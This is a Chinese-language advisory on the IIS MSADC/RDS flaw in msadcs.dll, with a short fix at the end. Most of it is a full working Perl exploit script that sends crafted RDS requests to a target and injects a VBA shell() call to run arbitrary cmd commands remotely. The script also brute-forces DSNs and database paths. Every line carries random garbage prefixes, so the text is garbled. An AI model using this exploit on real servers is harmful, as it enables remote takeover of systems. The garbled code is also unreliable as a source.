IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Y{Z&W9U ;n&95t1$ 涉及程序：
8_ Oeui(i Microsoft NT server
"j>X^vn s^k G]7 描述：
QoD_`d 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
&Vl no* eg[EFI.h 详细：
(:o F\ 如果你没有时间读详细内容的话，就删除:
^~4]"J} ;M c:\Program Files\Common Files\System\Msadc\msadcs.dll
N?\X 2J1 有关的安全问题就没有了。
5P,&VB 8L V?mP7 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
+R'8$ PRh C1# 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Wf~^,]9N 关于利用ODBC远程漏洞的描述，请参看:
w-|Rb~XT
h nrEI0E9 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _>gz& =
0 ~4k# 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
)nN!% |J http://www.microsoft.com/security/bulletins/MS99-025faq.asp GS;GJsAs 1/dL-"*0 这里不再论述。
^y5A\nz& G e k?+|m 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
L%/RD2L D 7oZ :/6_> /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\u[x<-\/6 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
&V38)83a oz!)x\m*H `z!AjAT-G #将下面这段保存为txt文件，然后: "perl -x 文件名"
o;8$#gyNY = s\$i0A2 #!perl
x ;DoQx #
m xlh\'b # MSADC/RDS 'usage' (aka exploit) script
Xa z "! #
zIa= {tU # by rain.forest.puppy
x'|ty[87 #
}k-V ( # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
axQ>~v WN/ # beta test and find errors!
(KQLh,h7 t3L>@NWG use Socket; use Getopt::Std;
Mc,79Ix" getopts("e:vd:h:XR", \%args);
tP'v;$)9F 91R# /i print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
YidcV lOsO Wa;N(zw0h if (!defined $args{h} && !defined $args{R}) {
vC]X>P5 Px print qq~
*byUqY3( Usage: msadc.pl -h <host> { -d <delay> -X -v }
i?T-6{3I -h <host> = host you want to scan (ip or domain)
f ;E#CjlTL -d <seconds> = delay between calls, default 1 second
+d,
~h_7! -X = dump Index Server path table, if available
i eyK$q -v = verbose
VDxm|7 -e = external dictionary file for step 5
k1Y\g'1
Ez1eGPVr Or a -R will resume a command session
9< mM U: Wn<?_}sa|z ~; exit;}
l*ltS(? ,TBOEu."4 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
v
:pT(0N if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
^ :VH?I= if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Zkp~qx if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
F^l1WX6 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
yi$CkG} if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
&xGdKH
jg$qp% 7i% if (!defined $args{R}){ $ret = &has_msadc;
86#l$Q aK{ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Ejk;(rxI /&gg].&2? print "Please type the NT commandline you want to run (cmd /c assumed):\n"
~WA@YjQ] . "cmd /c ";
tZ]gVgZg $in=<STDIN>; chomp $in;
c=sV"r? $command="cmd /c " . $in ;
*Y> w0k QK_5gD`$a, if (defined $args{R}) {&load; exit;}
jKUEs75] zTng]Mvx print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
n|5\Q &try_btcustmr;
CE"/&I .s{ "NqRA print "\nStep 2: Trying to make our own DSN...";
D||0c"E &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@a8lF$< Tm" H9 print "\nStep 3: Trying known DSNs...";
oidZWy &known_dsn;
bQ*yXJ^8 4 \z@Evm print "\nStep 4: Trying known .mdbs...";
(]@ S<0 &known_mdb;
*7Vb([x4; tLzLO#/n if (defined $args{e}){
eRUdPPq_d print "\nStep 5: Trying dictionary of DSN names...";
_ H$Lu4b)N &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
hjL;B 'IL hBU)gP75 print "Sorry Charley...maybe next time?\n";
qT#e
-.G exit;
) .KA0- s^u Y ##############################################################################
"7 cty\ -XYvjW,| sub sendraw { # ripped and modded from whisker
O84]J:b sleep($delay); # it's a DoS on the server! At least on mine...
hQ#e;1uD my ($pstr)=@_;
j\C6k socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$>)0t@[f die("Socket problems\n");
M 5#wz0 if(connect(S,pack "SnA4x8",2,80,$target)){
+Tum K. select(S); $|=1;
\ eHOHHAGW print $pstr; my @in=<S>;
ZSf &M select(STDOUT); close(S);
v , ")XPY return @in;
8maWF.xq } else { die("Can't connect...\n"); }}
UytMnJ 8 8 :FAPH8] ##############################################################################
,z&S;f.f < rzP sub make_header { # make the HTTP request
Lc!2'Do; my $msadc=<<EOT
}nr jA0WN POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|=;hQ2H yF User-Agent: ACTIVEDATA
PVb[E 03 Host: $ip
W9SU1{*9 Content-Length: $clen
0? {ADQz Connection: Keep-Alive
;2 1D ^ e xsa `R^5/c ADCClientVersion:01.06
FWb p;v{ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
.n<vhLDQn $z P5Hzx --!ADM!ROX!YOUR!WORLD!
2yA)SGri Content-Type: application/x-varg
U[wx){[| Content-Length: $reqlen
~qinCIj 9c^ ,v_W@ EOT
#/>TuJc ; $msadc=~s/\n/\r\n/g;
um,f!ho-U return $msadc;}
]-gy XE1.r wnS,Jl ##############################################################################
&=lc]sk i{^T;uAE sub make_req { # make the RDS request
@7 Ry{,A my ($switch, $p1, $p2)=@_;
868X/lL my $req=""; my $t1, $t2, $query, $dsn;
s%:fZ7y j [U#J if ($switch==1){ # this is the btcustmr.mdb query
&g|[/~dIr $query="Select * from Customers where City=" . make_shell();
-[=~!Qr: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$a_y-lY $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
J?O0ixU 01r%K@ xX\ elsif ($switch==2){ # this is general make table query
~i|6F~%3 $query="create table AZZ (B int, C varchar(10))";
W3le)& $dsn="$p1";}
Zn b={hh "\wM s elsif ($switch==3){ # this is general exploit table query
3E*|^* $query="select * from AZZ where C=" . make_shell();
(=j;rfvP $dsn="$p1";}
? i _ACKpw sF{~7IB elsif ($switch==4){ # attempt to hork file info from index server
%,\JTN|g|A $query="select path from scope()";
yd;e;Bb7* $dsn="Provider=MSIDXS;";}
#RlZxtx.O :a }](Wn elsif ($switch==5){ # bad query
TUfj\d, $query="select";
v0DDim?cc $dsn="$p1";}
l*l*5hA _=mz Ze[ $t1= make_unicode($query);
7ws<' d7/ $t2= make_unicode($dsn);
a{`hAI${ $req = "\x02\x00\x03\x00";
UF+Qx/4h0 $req.= "\x08\x00" . pack ("S1", length($t1));
2 >o[ $req.= "\x00\x00" . $t1 ;
*2h%dT:,% $req.= "\x08\x00" . pack ("S1", length($t2));
i<Z % $req.= "\x00\x00" . $t2 ;
B|m)V9A%- $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
OjGI
! return $req;}
:8` A %#2$B+ ##############################################################################
03~ ADj D0Q9A]bD; sub make_shell { # this makes the shell() statement
JLu$1A@ ' return "'|shell(\"$command\")|'";}
SA TX_ ~P|;Y<?3 ##############################################################################
u'' Ce`N #*g=F4>t sub make_unicode { # quick little function to convert to unicode
_ $a3lR my ($in)=@_; my $out;
H$%MIBz >$ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Cx TAd[az return $out;}
R,3cJ
Y_% flCT]Z R ##############################################################################
_ /1/ { $yx\2 sub rdo_success { # checks for RDO return success (this is kludge)
6ld4'oM my (@in) = @_; my $base=content_start(@in);
YPGM|| if($in[$base]=~/multipart\/mixed/){
-Pp cFLZ| return 1 if( $in[$base+10]=~/^\x09\x00/ );}
:;_
khno return 0;}
T8+[R2_ i.E2a) ##############################################################################
BA h'H&;V ei5YxV6I sub make_dsn { # this makes a DSN for us
>eTbg"\ my @drives=("c","d","e","f");
P<vl+&* print "\nMaking DSN: ";
>+{WiZ` foreach $drive (@drives) {
qPPe)IM'Sc print "$drive: ";
=mYf]
PIX my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
q;68tEupR "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
B<d=;V . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
70qEqNoC $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
72, m c return 0 if $2 eq "404"; # not found/doesn't exist
&l+Qn'N if($2 eq "200") {
0x<ASfka foreach $line (@results) {
a&'9[9E1 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
|.)LZP, } return 0;}
c5^HGIe1 $9G&
wH>{ ##############################################################################
1ui)Hv=h* UBwl2Di sub verify_exists {
HTL6;87w+] my ($page)=@_;
':n`0+Eh my @results=sendraw("GET $page HTTP/1.0\n\n");
i)x0 ]XF return $results[0];}
o v+{<0Q
%Xh}{ o$G ##############################################################################
j:%,l cF cy^=!EfA sub try_btcustmr {
}2]|*?1, my @drives=("c","d","e","f");
e* [wF})) my @dirs=("winnt","winnt35","winnt351","win","windows");
w-Ph-L/ ~:Rbd9IB foreach $dir (@dirs) {
0z/*JVka print "$dir -> "; # fun status so you can see progress
_}5vO$kdO foreach $drive (@drives) {
$9YQ aN% print "$drive: "; # ditto
S/E&&{`ls $reqlen=length( make_req(1,$drive,$dir) ) - 28;
CQ2vFg3+o $reqlenlen=length( "$reqlen" );
RZHfT0*jL $clen= 206 + $reqlenlen + $reqlen;
x 'L=p01 pN^g. my @results=sendraw(make_header() . make_req(1,$drive,$dir));
#aX#gh}1
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
HR-'8?)R.A else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
nL?P / \ Z=&|__ +d ##############################################################################
[K A^+n |" }rd OV) sub odbc_error {
}R;}d(C` my (@in)=@_; my $base;
1WtE ]
D my $base = content_start(@in);
AGFA;X if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
54p{J $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f7*Qa!!2p] $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:u7BCV|yr $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=K:[ 26 return $in[$base+4].$in[$base+5].$in[$base+6];}
s" ,Ea* print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:aOR@])>o print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
^=x /:0 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;n't :yQW i "V.$|, ##############################################################################
)5@P|{FF 2WS*c7Ct sub verbose {
&h/r]KrZ my ($in)=@_;
6)1PDlB return if !$verbose;
`dm* vd print STDOUT "\n$in\n";}
OkC.e')Vx vhF9 |('G ##############################################################################
fnX[R2KZ fd4gB6> sub save {
syr0|K [ my ($p1, $p2, $p3, $p4)=@_;
k' 8q /] open(OUT, ">rds.save") || print "Problem saving parameters...\n";
{|o WU8.l print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
' ayb` close OUT;}
B=O zP+ WD%( RC"Q ##############################################################################
DCp8rvUI P6_Hz!vE sub load {
V<
F &\ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
I3> 8B open(IN,"<rds.save") || die("Couldn't open rds.save\n");
brTNwRze @p=<IN>; close(IN);
H|aFs.S EQ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
K#k/t"r $target= inet_aton($ip) || die("inet_aton problems");
-. *E<% print "Resuming to $ip ...";
}aOqoi7w $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
8Ay7I if($p[1]==1) {
8 (Az/@=n $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
~ g!!#ad $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
p
l^;'|=M my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
,6]ID1o:y if (rdo_success(@results)){print "Success!\n";}
uzxwJs'fz else { print "failed\n"; verbose(odbc_error(@results));}}
= 9Yf o,F elsif ($p[1]==3){
fuj9x;8X0 if(run_query("$p[3]")){
VKPE oy8H print "Success!\n";} else { print "failed\n"; }}
i1x4$ } elsif ($p[1]==4){
*w ;?&)8% if(run_query($drvst . "$p[3]")){
[.>=> KJ _ print "Success!\n"; } else { print "failed\n"; }}
79 4U Y exit;}
'TYO-'aC N&G'i.w/ ##############################################################################
D zD 5n fDDpR= sub create_table {
< h #7;o my ($in)=@_;
ovN3.0tAI $reqlen=length( make_req(2,$in,"") ) - 28;
HsYzIQLL $reqlenlen=length( "$reqlen" );
rd&d~R 6 $clen= 206 + $reqlenlen + $reqlen;
$W|JQ h my @results=sendraw(make_header() . make_req(2,$in,""));
s=) W return 1 if rdo_success(@results);
qcO~}MJr}^ my $temp= odbc_error(@results); verbose($temp);
5
Y&`Z J return 1 if $temp=~/Table 'AZZ' already exists/;
gE #|eiu return 0;}
#r9\.NA! z#!<[**& ##############################################################################
Aq(cgTNW W^09tx/I sub known_dsn {
07SW$INb # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
O` CZwXD my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
S$SCW<LuN "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
z$1 |D{ "banner", "banners", "ads", "ADCDemo", "ADCTest");
Vl+UC1M}B> EPW4
h/I foreach $dSn (@dsns) {
hR Xnig{;3 print ".";
+F NGRL next if (!is_access("DSN=$dSn"));
;uAh)|;S# if(create_table("DSN=$dSn")){
[G brKq( print "$dSn successful\n";
/
xv5we~ if(run_query("DSN=$dSn")){
,JI] Eij^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#8XmOJ"W3k print "Something's borked. Use verbose next time\n";}}} print "\n";}
9wCgJ$te (P? |Bk [ ##############################################################################
{3KY:%6qj &FmTT8"l sub is_access {
dlvU=^G#G my ($in)=@_;
f-#:3k*7S $reqlen=length( make_req(5,$in,"") ) - 28;
J jZB!Lg= $reqlenlen=length( "$reqlen" );
TAh'u|{u2 $clen= 206 + $reqlenlen + $reqlen;
H,c1&hb/w my @results=sendraw(make_header() . make_req(5,$in,""));
)-X8RRw' my $temp= odbc_error(@results);
_886>^b@ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
1VYH:uGuAU return 0;}
$MvKwQ/ zq + 2@"q ##############################################################################
nN$.^!;& %H?B5y sub run_query {
f'ld6jt|% my ($in)=@_;
VEa"^{,w $reqlen=length( make_req(3,$in,"") ) - 28;
:C^{Lc $reqlenlen=length( "$reqlen" );
[ BdRx` $clen= 206 + $reqlenlen + $reqlen;
?IeBo8 my @results=sendraw(make_header() . make_req(3,$in,""));
t$qIJt$ return 1 if rdo_success(@results);
PJ:!O?KVq my $temp= odbc_error(@results); verbose($temp);
'9]?jkl return 0;}
W0x9^'=s\ v8 )wu=u ##############################################################################
Ib{#dhV 7>im2"zm sub known_mdb {
, l!>+@ my @drives=("c","d","e","f","g");
An>ai N] my @dirs=("winnt","winnt35","winnt351","win","windows");
+D
@B eQu my $dir, $drive, $mdb;
b`%u}^B { my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
< - sr& \6GNKeN # this is sparse, because I don't know of many
V %[t'uh my @sysmdbs=( "\\catroot\\icatalog.mdb",
fqbWD) L] "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
U}HSL5v "\\system32\\certmdb.mdb",
/Q9Cvj)" "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
q8ZxeMqx% _=x*yDPG} my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
851BOkRal4 "\\cfusion\\cfapps\\forums\\forums_.mdb",
q/w5Dx|: "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
t HaHBx1P "\\cfusion\\cfapps\\security\\realm_.mdb",
bkR~>F]FAu "\\cfusion\\cfapps\\security\\data\\realm.mdb",
X )(K |[ "\\cfusion\\database\\cfexamples.mdb",
QpzdlB44l "\\cfusion\\database\\cfsnippets.mdb",
?$)a[UnqX "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
uN?Lz1W\; "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
6VQQ I9 "\\cfusion\\brighttiger\\database\\cleam.mdb",
#Qg)4[pMJ "\\cfusion\\database\\smpolicy.mdb",
hc$m1lLn "\\cfusion\\database\cypress.mdb",
B}NJs,'FJ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
ga KZ 4# "\\website\\cgi-win\\dbsample.mdb",
k"7ZA>5jk "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
2ia&c@P- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Q2oo\ ); #these are just
mGg/F&G9 foreach $drive (@drives) {
{88|J'*L foreach $dir (@dirs){
D',7 T=C
foreach $mdb (@sysmdbs) {
yS
K81` print ".";
`tO t+>YWn if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
*:\[;69[ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
vS ( Y_6 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
,;YNI print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
3
u=\d)eq } else { print "Something's borked. Use verbose next time\n"; }}}}}
~%tVb c (e_p8[x foreach $drive (@drives) {
VxOWv8} | foreach $mdb (@mdbs) {
gs0 jwI print ".";
1C c 9 1 if(create_table($drv . $drive . $dir . $mdb)){
/xSJljexz print "\n" . $drive . $dir . $mdb . " successful\n";
#N` MzmwS if(run_query($drv . $drive . $dir . $mdb)){
zGme}z;1@ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
KN@ [hb7% } else { print "Something's borked. Use verbose next time\n"; }}}}
s hq
+ }
^^k9Acd~p LdOqV'&r ##############################################################################
\N0wf-qa= |0p@'X1 sub hork_idx {
RwK6u-u#9 print "\nAttempting to dump Index Server tables...\n";
b&,Z mDJh print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
g~|vmVBua $reqlen=length( make_req(4,"","") ) - 28;
DdISJWc'`5 $reqlenlen=length( "$reqlen" );
Qhe<(<^J, $clen= 206 + $reqlenlen + $reqlen;
IuFr:3( my @results=sendraw2(make_header() . make_req(4,"",""));
TUGD!b{ if (rdo_success(@results)){
82)=#ye_ P my $max=@results; my $c; my %d;
X ?ZLmP7| for($c=19; $c<$max; $c++){
7C Sn79E $results[$c]=~s/\x00//g;
,6^Xn=o # $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
{]|<|vc;GI $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
V]]!0ugvk( $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
%c$|.TkX $d{"$1$2"}="";}
y] 9/Xr/ foreach $c (keys %d){ print "$c\n"; }
9;n*u9< } else {print "Index server doesn't seem to be installed.\n"; }}
1W.oRD&8j/ E!WlQr:b$ ##############################################################################
"7fEL:|j sm?b,T/ sub dsn_dict {
M4;M.zxJv open(IN, "<$args{e}") || die("Can't open external dictionary\n");
F;/^5T3wI while(<IN>){
fGH)Fgo` $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
#u" @q< ) next if (!is_access("DSN=$dSn"));
FP y}Wc*UA if(create_table("DSN=$dSn")){
6]GHCyo print "$dSn successful\n";
st.{AEv@ if(run_query("DSN=$dSn")){
(-;(wC EE print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
L>Ze *dt print "Something's borked. Use verbose next time\n";}}}
"`S?q G print "\n"; close(IN);}
',|OoxhbK M a{@b$> ##############################################################################
ET H
($$M y_ Gs _xg sub sendraw2 { # ripped and modded from whisker
2S :B%cj9m sleep($delay); # it's a DoS on the server! At least on mine...
}U9dzU14 my ($pstr)=@_;
<AJ RU
l socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4S+E% b|) die("Socket problems\n");
pP# _B if(connect(S,pack "SnA4x8",2,80,$target)){
EHl~y=9 print "Connected. Getting data";
b{<$OVc open(OUT,">raw.out"); my @in;
MkdC*| select(S); $|=1; print $pstr;
UH7?JF-D while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
wmMn1q0F close(OUT); select(STDOUT); close(S); return @in;
U0|bKU } else { die("Can't connect...\n"); }}
2=<,#7zlJ ())_4 < ##############################################################################
!Dc;R+Ir0! I"8Z'<|/\q sub content_start { # this will take in the server headers
qv2J0'd'. my (@in)=@_; my $c;
VWYNq^<AT for ($c=1;$c<500;$c++) {
e< 8KZ if($in[$c] =~/^\x0d\x0a/){
iB~dO @ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
S<* 1b 6%D else { return $c+1; }}}
QYj 4D return -1;} # it should never get here actually
sVnq|[ / 1o _Zw. ##############################################################################
!K= $Q Uq p v Wj)4e sub funky {
^[+2P?^K my (@in)=@_; my $error=odbc_error(@in);
;Hp78!#, if($error=~/ADO could not find the specified provider/){
{65Y Tt% print "\nServer returned an ADO miscofiguration message\nAborting.\n";
G 7GKO exit;}
KB^GC5L> if($error=~/A Handler is required/){
9qz Hy}A print "\nServer has custom handler filters (they most likely are patched)\n";
A;^{%S exit;}
"WPWMQ+ if($error=~/specified Handler has denied Access/){
YO fYa print "\nServer has custom handler filters (they most likely are patched)\n";
c>r~pY~$ exit;}}
b; vVlIG 2>J;P C[; ##############################################################################
-EU=R_yg )\W}&9 > sub has_msadc {
gtY7N>e my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
4Pf"R ~&[ my $base=content_start(@results);
\|4F? Y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
p2O [r return 0;}
1b7?6CqV HFYe@ 2r ########################
RN&8dsreZp `USze0"t0: Q2m 5&yy@s 解决方案：
n"~K",~P 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
iH dX 2、移除web 目录: /msadc
